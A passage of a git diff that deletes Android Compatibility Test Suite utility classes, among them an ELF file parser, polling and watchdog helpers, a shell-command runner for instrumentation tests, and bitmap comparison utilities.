-            return new Stats(Arrays.copyOf(avgs, ix));
-        }
-
-        /** calculate mSortedData */
-        private void sort() {
-            if (mSorted || mNum == 0) {
-                return;
-            }
-            mSortedData = Arrays.copyOf(mData, mNum);
-            Arrays.sort(mSortedData);
-            mSorted = true;
-        }
-
-        /** returns an array of percentiles for the points using nearest rank */
-        public double[] getPercentiles(double... points) {
-            sort();
-            double[] res = new double[points.length];
-            for (int i = 0; i < points.length; ++i) {
-                if (mNum < 1 || points[i] < 0 || points[i] > 100) {
-                    res[i] = Double.NaN;
-                } else {
-                    res[i] = mSortedData[(int)Math.round(points[i] / 100 * (mNum - 1))];
-                }
-            }
-            return res;
-        }
-
-        @Override
-        public boolean equals(Object o) {
-            if (o instanceof Stats) {
-                Stats other = (Stats)o;
-                if (other.mNum != mNum) {
-                    return false;
-                } else if (mNum == 0) {
-                    return true;
-                }
-                return Arrays.equals(mData, other.mData);
-            }
-            return false;
-        }
-
-        private double[] mData;
-        private double mSumX = 0;
-        private double mSumXX = 0;
-        private double mMinX = Double.NaN;
-        private double mMaxX = Double.NaN;
-        private int mNum = 0;
-        private boolean mAnalyzed = false;
-        private double[] mSortedData;
-        private boolean mSorted = false;
-    }
-
-    /*
-     *  -------------------------------------- END --------------------------------------
-     */
-}
diff --git a/libs/deviceutil/src/android/cts/util/NullWebViewUtils.java b/libs/deviceutil/src/android/cts/util/NullWebViewUtils.java
deleted file mode 100644
index e1b23f7..0000000
--- a/libs/deviceutil/src/android/cts/util/NullWebViewUtils.java
+++ /dev/null
@@ -1,88 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.cts.util;
-
-import android.content.Context;
-import android.content.pm.PackageManager;
-
-/**
- * Utilities to enable the android.webkit.* CTS tests (and others that rely on a functioning
- * android.webkit.WebView implementation) to determine whether a functioning WebView is present
- * on the device or not.
- *
- * Test cases that require android.webkit.* classes should wrap their first usage of WebView in a
- * try catch block, and pass any exception that is thrown to
- * NullWebViewUtils.determineIfWebViewAvailable. The return value of
- * NullWebViewUtils.isWebViewAvailable will then determine if the test should expect to be able to
- * use a WebView.
- */
-public class NullWebViewUtils {
-
-    private static boolean sWebViewUnavailable;
-
-    /**
-     * @param context Current Activity context, used to query the PackageManager.
-     * @param t       An exception thrown by trying to invoke android.webkit.* APIs.
-     */
-    public static void determineIfWebViewAvailable(Context context, Throwable t) {
-        sWebViewUnavailable = !hasWebViewFeature(context) && checkCauseWasUnsupportedOperation(t);
-    }
-
-    /**
-     * After calling determineIfWebViewAvailable, this returns whether a WebView is available on the
-     * device and wheter the test can rely on it.
-     * @return True iff. PackageManager determined that there is no WebView on the device and the
-     *         exception thrown from android.webkit.* was UnsupportedOperationException.
-     */
-    public static boolean isWebViewAvailable() {
-        return !sWebViewUnavailable;
-    }
-
-    private static boolean hasWebViewFeature(Context context) {
-        // Query the system property that determins if there is a functional WebView on the device.
-        PackageManager pm = context.getPackageManager();
-        return pm.hasSystemFeature(PackageManager.FEATURE_WEBVIEW);
-    }
-
-    private static boolean checkCauseWasUnsupportedOperation(Throwable t) {
-        if (t == null) return false;
-        while (t.getCause() != null) {
-            t = t.getCause();
-        }
-        return t instanceof UnsupportedOperationException;
-    }
-
-    /**
-     * Some CTS tests (by design) first use android.webkit.* from a background thread. This helper
-     * allows the test to catch the UnsupportedOperationException from that background thread, and
-     * then query the result from the test main thread.
-     */
-    public static class NullWebViewFromThreadExceptionHandler
-            implements Thread.UncaughtExceptionHandler {
-        private Throwable mPendingException;
-
-        @Override
-        public void uncaughtException(Thread t, Throwable e) {
-            mPendingException = e;
-        }
-
-        public boolean isWebViewAvailable(Context context) {
-            return hasWebViewFeature(context) ||
-                    !checkCauseWasUnsupportedOperation(mPendingException);
-        }
-    }
-}
\ No newline at end of file
diff --git a/libs/deviceutil/src/android/cts/util/PollingCheck.java b/libs/deviceutil/src/android/cts/util/PollingCheck.java
deleted file mode 100644
index 3a08c7e..0000000
--- a/libs/deviceutil/src/android/cts/util/PollingCheck.java
+++ /dev/null
@@ -1,85 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.cts.util;
-
-import java.util.concurrent.Callable;
-
-import junit.framework.Assert;
-
-public abstract class PollingCheck {
-    private static final long TIME_SLICE = 50;
-    private long mTimeout = 3000;
-
-    public static interface PollingCheckCondition {
-        boolean canProceed();
-    }
-
-    public PollingCheck() {
-    }
-
-    public PollingCheck(long timeout) {
-        mTimeout = timeout;
-    }
-
-    protected abstract boolean check();
-
-    public void run() {
-        if (check()) {
-            return;
-        }
-
-        long timeout = mTimeout;
-        while (timeout > 0) {
-            try {
-                Thread.sleep(TIME_SLICE);
-            } catch (InterruptedException e) {
-                Assert.fail("unexpected InterruptedException");
-            }
-
-            if (check()) {
-                return;
-            }
-
-            timeout -= TIME_SLICE;
-        }
-
-        Assert.fail("unexpected timeout");
-    }
-
-    public static void check(CharSequence message, long timeout, Callable<Boolean> condition)
-            throws Exception {
-        while (timeout > 0) {
-            if (condition.call()) {
-                return;
-            }
-
-            Thread.sleep(TIME_SLICE);
-            timeout -= TIME_SLICE;
-        }
-
-        Assert.fail(message.toString());
-    }
-
-    public static void waitFor(final PollingCheckCondition condition) {
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return condition.canProceed();
-            }
-        }.run();
-    }
-}
diff --git a/libs/deviceutil/src/android/cts/util/ReadElf.java b/libs/deviceutil/src/android/cts/util/ReadElf.java
deleted file mode 100644
index 559cbd0..0000000
--- a/libs/deviceutil/src/android/cts/util/ReadElf.java
+++ /dev/null
@@ -1,494 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.cts.util;
-
-import java.io.File;
-import java.io.IOException;
-import java.io.RandomAccessFile;
-import java.util.HashMap;
-import java.util.Map;
-
-/**
- * A poor man's implementation of the readelf command. This program is designed
- * to parse ELF (Executable and Linkable Format) files.
- */
-public class ReadElf implements AutoCloseable {
-    /** The magic values for the ELF identification. */
-    private static final byte[] ELFMAG = {
-            (byte) 0x7F, (byte) 'E', (byte) 'L', (byte) 'F', };
-
-    private static final int EI_NIDENT = 16;
-
-    private static final int EI_CLASS = 4;
-    private static final int EI_DATA = 5;
-
-    private static final int EM_386 = 3;
-    private static final int EM_MIPS = 8;
-    private static final int EM_ARM = 40;
-    private static final int EM_X86_64 = 62;
-    // http://en.wikipedia.org/wiki/Qualcomm_Hexagon
-    private static final int EM_QDSP6 = 164;
-    private static final int EM_AARCH64 = 183;
-
-    private static final int ELFCLASS32 = 1;
-    private static final int ELFCLASS64 = 2;
-
-    private static final int ELFDATA2LSB = 1;
-    private static final int ELFDATA2MSB = 2;
-
-    private static final int EV_CURRENT = 1;
-
-    private static final long PT_LOAD = 1;
-
-    private static final int SHT_SYMTAB = 2;
-    private static final int SHT_STRTAB = 3;
-    private static final int SHT_DYNAMIC = 6;
-    private static final int SHT_DYNSYM = 11;
-
-    public static class Symbol {
-        public static final int STB_LOCAL = 0;
-        public static final int STB_GLOBAL = 1;
-        public static final int STB_WEAK = 2;
-        public static final int STB_LOPROC = 13;
-        public static final int STB_HIPROC = 15;
-
-        public static final int STT_NOTYPE = 0;
-        public static final int STT_OBJECT = 1;
-        public static final int STT_FUNC = 2;
-        public static final int STT_SECTION = 3;
-        public static final int STT_FILE = 4;
-        public static final int STT_COMMON = 5;
-        public static final int STT_TLS = 6;
-
-        public final String name;
-        public final int bind;
-        public final int type;
-
-        Symbol(String name, int st_info) {
-            this.name = name;
-            this.bind = (st_info >> 4) & 0x0F;
-            this.type = st_info & 0x0F;
-        }
-
-        @Override
-        public String toString() {
-            return "Symbol[" + name + "," + toBind() + "," + toType() + "]";
-        }
-
-        private String toBind() {
-            switch (bind) {
-                case STB_LOCAL:
-                    return "LOCAL";
-                case STB_GLOBAL:
-                    return "GLOBAL";
-                case STB_WEAK:
-                    return "WEAK";
-            }
-            return "STB_??? (" + bind + ")";
-        }
-
-        private String toType() {
-            switch (type) {
-                case STT_NOTYPE:
-                    return "NOTYPE";
-                case STT_OBJECT:
-                    return "OBJECT";
-                case STT_FUNC:
-                    return "FUNC";
-                case STT_SECTION:
-                    return "SECTION";
-                case STT_FILE:
-                    return "FILE";
-                case STT_COMMON:
-                    return "COMMON";
-                case STT_TLS:
-                    return "TLS";
-            }
-            return "STT_??? (" + type + ")";
-        }
-    }
-
-    private final String mPath;
-    private final RandomAccessFile mFile;
-    private final byte[] mBuffer = new byte[512];
-    private int mEndian;
-    private boolean mIsDynamic;
-    private boolean mIsPIE;
-    private int mType;
-    private int mAddrSize;
-
-    /** Symbol Table offset */
-    private long mSymTabOffset;
-
-    /** Symbol Table size */
-    private long mSymTabSize;
-
-    /** Dynamic Symbol Table offset */
-    private long mDynSymOffset;
-
-    /** Dynamic Symbol Table size */
-    private long mDynSymSize;
-
-    /** Section Header String Table offset */
-    private long mShStrTabOffset;
-
-    /** Section Header String Table size */
-    private long mShStrTabSize;
-
-    /** String Table offset */
-    private long mStrTabOffset;
-
-    /** String Table size */
-    private long mStrTabSize;
-
-    /** Dynamic String Table offset */
-    private long mDynStrOffset;
-
-    /** Dynamic String Table size */
-    private long mDynStrSize;
-
-    /** Symbol Table symbol names */
-    private Map<String, Symbol> mSymbols;
-
-    /** Dynamic Symbol Table symbol names */
-    private Map<String, Symbol> mDynamicSymbols;
-
-    public static ReadElf read(File file) throws IOException {
-        return new ReadElf(file);
-    }
-
-    public static void main(String[] args) throws IOException {
-        for (String arg : args) {
-            ReadElf re = new ReadElf(new File(arg));
-            re.getSymbol("x");
-            re.getDynamicSymbol("x");
-            re.close();
-        }
-    }
-
-    public boolean isDynamic() {
-        return mIsDynamic;
-    }
-
-    public int getType() {
-        return mType;
-    }
-
-    public boolean isPIE() {
-        return mIsPIE;
-    }
-
-    private ReadElf(File file) throws IOException {
-        mPath = file.getPath();
-        mFile = new RandomAccessFile(file, "r");
-
-        if (mFile.length() < EI_NIDENT) {
-            throw new IllegalArgumentException("Too small to be an ELF file: " + file);
-        }
-
-        readHeader();
-    }
-
-    @Override
-    public void close() {
-        try {
-            mFile.close();
-        } catch (IOException ignored) {
-        }
-    }
-
-    @Override
-    protected void finalize() throws Throwable {
-        try {
-            close();
-        } finally {
-            super.finalize();
-        }
-    }
-
-    private void readHeader() throws IOException {
-        mFile.seek(0);
-        mFile.readFully(mBuffer, 0, EI_NIDENT);
-
-        if (mBuffer[0] != ELFMAG[0] || mBuffer[1] != ELFMAG[1] ||
-                mBuffer[2] != ELFMAG[2] || mBuffer[3] != ELFMAG[3]) {
-            throw new IllegalArgumentException("Invalid ELF file: " + mPath);
-        }
-
-        int elfClass = mBuffer[EI_CLASS];
-        if (elfClass == ELFCLASS32) {
-            mAddrSize = 4;
-        } else if (elfClass == ELFCLASS64) {
-            mAddrSize = 8;
-        } else {
-            throw new IOException("Invalid ELF EI_CLASS: " + elfClass + ": " + mPath);
-        }
-
-        mEndian = mBuffer[EI_DATA];
-        if (mEndian == ELFDATA2LSB) {
-        } else if (mEndian == ELFDATA2MSB) {
-            throw new IOException("Unsupported ELFDATA2MSB file: " + mPath);
-        } else {
-            throw new IOException("Invalid ELF EI_DATA: " + mEndian + ": " + mPath);
-        }
-
-        mType = readHalf();
-
-        int e_machine = readHalf();
-        if (e_machine != EM_386 && e_machine != EM_X86_64 &&
-                e_machine != EM_AARCH64 && e_machine != EM_ARM &&
-                e_machine != EM_MIPS &&
-                e_machine != EM_QDSP6) {
-            throw new IOException("Invalid ELF e_machine: " + e_machine + ": " + mPath);
-        }
-
-        // AbiTest relies on us rejecting any unsupported combinations.
-        if ((e_machine == EM_386 && elfClass != ELFCLASS32) ||
-                (e_machine == EM_X86_64 && elfClass != ELFCLASS64) ||
-                (e_machine == EM_AARCH64 && elfClass != ELFCLASS64) ||
-                (e_machine == EM_ARM && elfClass != ELFCLASS32) ||
-                (e_machine == EM_QDSP6 && elfClass != ELFCLASS32)) {
-            throw new IOException("Invalid e_machine/EI_CLASS ELF combination: " +
-                    e_machine + "/" + elfClass + ": " + mPath);
-        }
-
-        long e_version = readWord();
-        if (e_version != EV_CURRENT) {
-            throw new IOException("Invalid e_version: " + e_version + ": " + mPath);
-        }
-
-        long e_entry = readAddr();
-
-        long ph_off = readOff();
-        long sh_off = readOff();
-
-        long e_flags = readWord();
-        int e_ehsize = readHalf();
-        int e_phentsize = readHalf();
-        int e_phnum = readHalf();
-        int e_shentsize = readHalf();
-        int e_shnum = readHalf();
-        int e_shstrndx = readHalf();
-
-        readSectionHeaders(sh_off, e_shnum, e_shentsize, e_shstrndx);
-        readProgramHeaders(ph_off, e_phnum, e_phentsize);
-    }
-
-    private void readSectionHeaders(long sh_off, int e_shnum, int e_shentsize, int e_shstrndx)
-            throws IOException {
-        // Read the Section Header String Table offset first.
-        {
-            mFile.seek(sh_off + e_shstrndx * e_shentsize);
-
-            long sh_name = readWord();
-            long sh_type = readWord();
-            long sh_flags = readX(mAddrSize);
-            long sh_addr = readAddr();
-            long sh_offset = readOff();
-            long sh_size = readX(mAddrSize);
-            // ...
-
-            if (sh_type == SHT_STRTAB) {
-                mShStrTabOffset = sh_offset;
-                mShStrTabSize = sh_size;
-            }
-        }
-
-        for (int i = 0; i < e_shnum; ++i) {
-            // Don't bother to re-read the Section Header StrTab.
-            if (i == e_shstrndx) {
-                continue;
-            }
-
-            mFile.seek(sh_off + i * e_shentsize);
-
-            long sh_name = readWord();
-            long sh_type = readWord();
-            long sh_flags = readX(mAddrSize);
-            long sh_addr = readAddr();
-            long sh_offset = readOff();
-            long sh_size = readX(mAddrSize);
-
-            if (sh_type == SHT_SYMTAB || sh_type == SHT_DYNSYM) {
-                final String symTabName = readShStrTabEntry(sh_name);
-                if (".symtab".equals(symTabName)) {
-                    mSymTabOffset = sh_offset;
-                    mSymTabSize = sh_size;
-                } else if (".dynsym".equals(symTabName)) {
-                    mDynSymOffset = sh_offset;
-                    mDynSymSize = sh_size;
-                }
-            } else if (sh_type == SHT_STRTAB) {
-                final String strTabName = readShStrTabEntry(sh_name);
-                if (".strtab".equals(strTabName)) {
-                    mStrTabOffset = sh_offset;
-                    mStrTabSize = sh_size;
-                } else if (".dynstr".equals(strTabName)) {
-                    mDynStrOffset = sh_offset;
-                    mDynStrSize = sh_size;
-                }
-            } else if (sh_type == SHT_DYNAMIC) {
-                mIsDynamic = true;
-            }
-        }
-    }
-
-    private void readProgramHeaders(long ph_off, int e_phnum, int e_phentsize) throws IOException {
-        for (int i = 0; i < e_phnum; ++i) {
-            mFile.seek(ph_off + i * e_phentsize);
-
-            long p_type = readWord();
-            if (p_type == PT_LOAD) {
-                if (mAddrSize == 8) {
-                    // Only in Elf64_phdr; in Elf32_phdr p_flags is at the end.
-                    long p_flags = readWord();
-                }
-                long p_offset = readOff();
-                long p_vaddr = readAddr();
-                // ...
-
-                if (p_vaddr == 0) {
-                    mIsPIE = true;
-                }
-            }
-        }
-    }
-
-    private HashMap<String, Symbol> readSymbolTable(long symStrOffset, long symStrSize,
-            long tableOffset, long tableSize) throws IOException {
-        HashMap<String, Symbol> result = new HashMap<String, Symbol>();
-        mFile.seek(tableOffset);
-        while (mFile.getFilePointer() < tableOffset + tableSize) {
-            long st_name = readWord();
-            int st_info;
-            if (mAddrSize == 8) {
-                st_info = readByte();
-                int st_other = readByte();
-                int st_shndx = readHalf();
-                long st_value = readAddr();
-                long st_size = readX(mAddrSize);
-            } else {
-                long st_value = readAddr();
-                long st_size = readWord();
-                st_info = readByte();
-                int st_other = readByte();
-                int st_shndx = readHalf();
-            }
-            if (st_name == 0) {
-                continue;
-            }
-
-            final String symName = readStrTabEntry(symStrOffset, symStrSize, st_name);
-            if (symName != null) {
-                Symbol s = new Symbol(symName, st_info);
-                result.put(symName, s);
-            }
-        }
-        return result;
-    }
-
-    private String readShStrTabEntry(long strOffset) throws IOException {
-        if (mShStrTabOffset == 0 || strOffset < 0 || strOffset >= mShStrTabSize) {
-            return null;
-        }
-        return readString(mShStrTabOffset + strOffset);
-    }
-
-    private String readStrTabEntry(long tableOffset, long tableSize, long strOffset)
-            throws IOException {
-        if (tableOffset == 0 || strOffset < 0 || strOffset >= tableSize) {
-            return null;
-        }
-        return readString(tableOffset + strOffset);
-    }
-
-    private int readHalf() throws IOException {
-        return (int) readX(2);
-    }
-
-    private long readWord() throws IOException {
-        return readX(4);
-    }
-
-    private long readOff() throws IOException {
-        return readX(mAddrSize);
-    }
-
-    private long readAddr() throws IOException {
-        return readX(mAddrSize);
-    }
-
-    private long readX(int byteCount) throws IOException {
-        mFile.readFully(mBuffer, 0, byteCount);
-
-        int answer = 0;
-        if (mEndian == ELFDATA2LSB) {
-            for (int i = byteCount - 1; i >= 0; i--) {
-                answer = (answer << 8) | (mBuffer[i] & 0xff);
-            }
-        } else {
-            final int N = byteCount - 1;
-            for (int i = 0; i <= N; ++i) {
-                answer = (answer << 8) | (mBuffer[i] & 0xff);
-            }
-        }
-
-        return answer;
-    }
-
-    private String readString(long offset) throws IOException {
-        long originalOffset = mFile.getFilePointer();
-        mFile.seek(offset);
-        mFile.readFully(mBuffer, 0, (int) Math.min(mBuffer.length, mFile.length() - offset));
-        mFile.seek(originalOffset);
-
-        for (int i = 0; i < mBuffer.length; ++i) {
-            if (mBuffer[i] == 0) {
-                return new String(mBuffer, 0, i);
-            }
-        }
-
-        return null;
-    }
-
-    private int readByte() throws IOException {
-        return mFile.read() & 0xff;
-    }
-
-    public Symbol getSymbol(String name) {
-        if (mSymbols == null) {
-            try {
-                mSymbols = readSymbolTable(mStrTabOffset, mStrTabSize, mSymTabOffset, mSymTabSize);
-            } catch (IOException e) {
-                return null;
-            }
-        }
-        return mSymbols.get(name);
-    }
-
-    public Symbol getDynamicSymbol(String name) {
-        if (mDynamicSymbols == null) {
-            try {
-                mDynamicSymbols = readSymbolTable(
-                        mDynStrOffset, mDynStrSize, mDynSymOffset, mDynSymSize);
-            } catch (IOException e) {
-                return null;
-            }
-        }
-        return mDynamicSymbols.get(name);
-    }
-}
diff --git a/libs/deviceutil/src/android/cts/util/SystemUtil.java b/libs/deviceutil/src/android/cts/util/SystemUtil.java
deleted file mode 100644
index 6e7fd38..0000000
--- a/libs/deviceutil/src/android/cts/util/SystemUtil.java
+++ /dev/null
@@ -1,72 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.cts.util;
-
-import android.app.ActivityManager;
-import android.app.ActivityManager.MemoryInfo;
-import android.app.Instrumentation;
-import android.content.Context;
-import android.os.ParcelFileDescriptor;
-import android.os.StatFs;
-
-import java.io.FileInputStream;
-import java.io.IOException;
-
-public class SystemUtil {
-    public static long getFreeDiskSize(Context context) {
-        StatFs statFs = new StatFs(context.getFilesDir().getAbsolutePath());
-        return (long)statFs.getAvailableBlocks() * statFs.getBlockSize();
-    }
-
-    public static long getFreeMemory(Context context) {
-        MemoryInfo info = new MemoryInfo();
-        ActivityManager activityManager = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);
-        activityManager.getMemoryInfo(info);
-        return info.availMem;
-    }
-
-    public static long getTotalMemory(Context context) {
-        MemoryInfo info = new MemoryInfo();
-        ActivityManager activityManager = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);
-        activityManager.getMemoryInfo(info);
-        return info.totalMem; // TODO totalMem N/A in ICS.
-    }
-
-    /**
-     * Executes a shell command using shell user identity, and return the standard output in string
-     * <p>Note: calling this function requires API level 21 or above
-     * @param instrumentation {@link Instrumentation} instance, obtained from a test running in
-     * instrumentation framework
-     * @param cmd the command to run
-     * @return the standard output of the command
-     * @throws Exception
-     */
-    public static String runShellCommand(Instrumentation instrumentation, String cmd)
-            throws IOException {
-        ParcelFileDescriptor pfd = instrumentation.getUiAutomation().executeShellCommand(cmd);
-        byte[] buf = new byte[512];
-        int bytesRead;
-        FileInputStream fis = new ParcelFileDescriptor.AutoCloseInputStream(pfd);
-        StringBuffer stdout = new StringBuffer();
-        while ((bytesRead = fis.read(buf)) != -1) {
-            stdout.append(new String(buf, 0, bytesRead));
-        }
-        fis.close();
-        return stdout.toString();
-    }
-
-}
diff --git a/libs/deviceutil/src/android/cts/util/TestThread.java b/libs/deviceutil/src/android/cts/util/TestThread.java
deleted file mode 100644
index 14df61c..0000000
--- a/libs/deviceutil/src/android/cts/util/TestThread.java
+++ /dev/null
@@ -1,93 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.util;
-
-/**
- * Thread class for executing a Runnable containing assertions in a separate thread.
- * Uncaught exceptions in the Runnable are rethrown in the context of the the thread
- * calling the <code>runTest()</code> method.
- */
-public final class TestThread extends Thread {
-    private Throwable mThrowable;
-    private Runnable mTarget;
-
-    public TestThread(Runnable target) {
-        mTarget = target;
-    }
-
-    @Override
-    public final void run() {
-        try {
-            mTarget.run();
-        } catch (Throwable t) {
-            mThrowable = t;
-        }
-    }
-
-    /**
-     * Run the target Runnable object and wait until the test finish or throw
-     * out Exception if test fail.
-     *
-     * @param runTime
-     * @throws Throwable
-     */
-    public void runTest(long runTime) throws Throwable {
-        start();
-        joinAndCheck(runTime);
-    }
-
-    /**
-     * Get the Throwable object which is thrown when test running
-     * @return  The Throwable object
-     */
-    public Throwable getThrowable() {
-        return mThrowable;
-    }
-
-    /**
-     * Set the Throwable object which is thrown when test running
-     * @param t The Throwable object
-     */
-    public void setThrowable(Throwable t) {
-        mThrowable = t;
-    }
-
-    /**
-     * Wait for the test thread to complete and throw the stored exception if there is one.
-     *
-     * @param runTime The time to wait for the test thread to complete.
-     * @throws Throwable
-     */
-    public void joinAndCheck(long runTime) throws Throwable {
-        this.join(runTime);
-        if (this.isAlive()) {
-            this.interrupt();
-            this.join(runTime);
-            throw new Exception("Thread did not finish within allotted time.");
-        }
-        checkException();
-    }
-
-    /**
-     * Check whether there is an exception when running Runnable object.
-     * @throws Throwable
-     */
-    public void checkException() throws Throwable {
-        if (mThrowable != null) {
-            throw mThrowable;
-        }
-    }
-}
diff --git a/libs/deviceutil/src/android/cts/util/WatchDog.java b/libs/deviceutil/src/android/cts/util/WatchDog.java
deleted file mode 100644
index ab2a9d9..0000000
--- a/libs/deviceutil/src/android/cts/util/WatchDog.java
+++ /dev/null
@@ -1,103 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.util;
-
-import java.util.concurrent.Semaphore;
-import java.util.concurrent.TimeUnit;
-
-import android.util.Log;
-
-import junit.framework.Assert;
-
-/**
- * class for checking if rendering function is alive or not.
- * panic if watch-dog is not reset over certain amount of time
- */
-public class WatchDog implements Runnable {
-    private static final String TAG = "WatchDog";
-    private Thread mThread;
-    private Semaphore mSemaphore;
-    private volatile boolean mStopRequested;
-    private final long mTimeoutInMilliSecs;
-    private TimeoutCallback mCallback = null;
-
-    public WatchDog(long timeoutInMilliSecs) {
-        mTimeoutInMilliSecs = timeoutInMilliSecs;
-    }
-
-    public WatchDog(long timeoutInMilliSecs, TimeoutCallback callback) {
-        this(timeoutInMilliSecs);
-        mCallback = callback;
-    }
-
-    /** start watch-dog */
-    public void start() {
-        Log.i(TAG, "start");
-        mStopRequested = false;
-        mSemaphore = new Semaphore(0);
-        mThread = new Thread(this);
-        mThread.start();
-    }
-
-    /** stop watch-dog */
-    public void stop() {
-        Log.i(TAG, "stop");
-        if (mThread == null) {
-            return; // already finished
-        }
-        mStopRequested = true;
-        mSemaphore.release();
-        try {
-            mThread.join();
-        } catch (InterruptedException e) {
-            // ignore
-        }
-        mThread = null;
-        mSemaphore = null;
-    }
-
-    /** resets watch-dog, thus prevent it from panic */
-    public void reset() {
-        if (!mStopRequested) { // stop requested, but rendering still on-going
-            mSemaphore.release();
-        }
-    }
-
-    @Override
-    public void run() {
-        while (!mStopRequested) {
-            try {
-                boolean success = mSemaphore.tryAcquire(mTimeoutInMilliSecs, TimeUnit.MILLISECONDS);
-                if (mCallback == null) {
-                    Assert.assertTrue("Watchdog timed-out", success);
-                } else if (!success) {
-                    mCallback.onTimeout();
-                }
-            } catch (InterruptedException e) {
-                // this thread will not be interrupted,
-                // but if it happens, just check the exit condition.
-            }
-        }
-    }
-
-    /**
-     * Called by the Watchdog when it has timed out.
-     */
-    public interface TimeoutCallback {
-
-        public void onTimeout();
-    }
-}
diff --git a/libs/deviceutil/src/android/cts/util/WidgetTestUtils.java b/libs/deviceutil/src/android/cts/util/WidgetTestUtils.java
deleted file mode 100644
index 813672e..0000000
--- a/libs/deviceutil/src/android/cts/util/WidgetTestUtils.java
+++ /dev/null
@@ -1,138 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.cts.util;
-
-import org.xmlpull.v1.XmlPullParser;
-import org.xmlpull.v1.XmlPullParserException;
-
-import android.content.Context;
-import android.content.res.Resources;
-import android.graphics.Bitmap;
-import android.graphics.BitmapFactory;
-
-import java.io.IOException;
-
-import junit.framework.Assert;
-
-/**
- * The useful methods for widget test.
- */
-public class WidgetTestUtils {
-    /**
-     * Assert that two bitmaps are equal.
-     *
-     * @param Bitmap b1 the first bitmap which needs to compare.
-     * @param Bitmap b2 the second bitmap which needs to compare.
-     */
-    public static void assertEquals(Bitmap b1, Bitmap b2) {
-        if (b1 == b2) {
-            return;
-        }
-
-        if (b1 == null || b2 == null) {
-            Assert.fail("the bitmaps are not equal");
-        }
-
-        // b1 and b2 are all not null.
-        if (b1.getWidth() != b2.getWidth() || b1.getHeight() != b2.getHeight()
-            || b1.getConfig() != b2.getConfig()) {
-            Assert.fail("the bitmaps are not equal");
-        }
-
-        int w = b1.getWidth();
-        int h = b1.getHeight();
-        int s = w * h;
-        int[] pixels1 = new int[s];
-        int[] pixels2 = new int[s];
-
-        b1.getPixels(pixels1, 0, w, 0, 0, w, h);
-        b2.getPixels(pixels2, 0, w, 0, 0, w, h);
-
-        for (int i = 0; i < s; i++) {
-            if (pixels1[i] != pixels2[i]) {
-                Assert.fail("the bitmaps are not equal");
-            }
-        }
-    }
-
-    /**
-     * Find beginning of the special element.
-     * @param parser XmlPullParser will be parsed.
-     * @param firstElementName the target element name.
-     *
-     * @throws XmlPullParserException if XML Pull Parser related faults occur.
-     * @throws IOException if I/O-related error occur when parsing.
-     */
-    public static final void beginDocument(XmlPullParser parser, String firstElementName)
-            throws XmlPullParserException, IOException {
-        Assert.assertNotNull(parser);
-        Assert.assertNotNull(firstElementName);
-
-        int type;
-        while ((type = parser.next()) != XmlPullParser.START_TAG
-                && type != XmlPullParser.END_DOCUMENT) {
-            ;
-        }
-
-        if (!parser.getName().equals(firstElementName)) {
-            throw new XmlPullParserException("Unexpected start tag: found " + parser.getName()
-                    + ", expected " + firstElementName);
-        }
-    }
-
-    /**
-     * Compare the expected pixels with actual, scaling for the target context density
-     *
-     * @throws AssertionFailedError
-     */
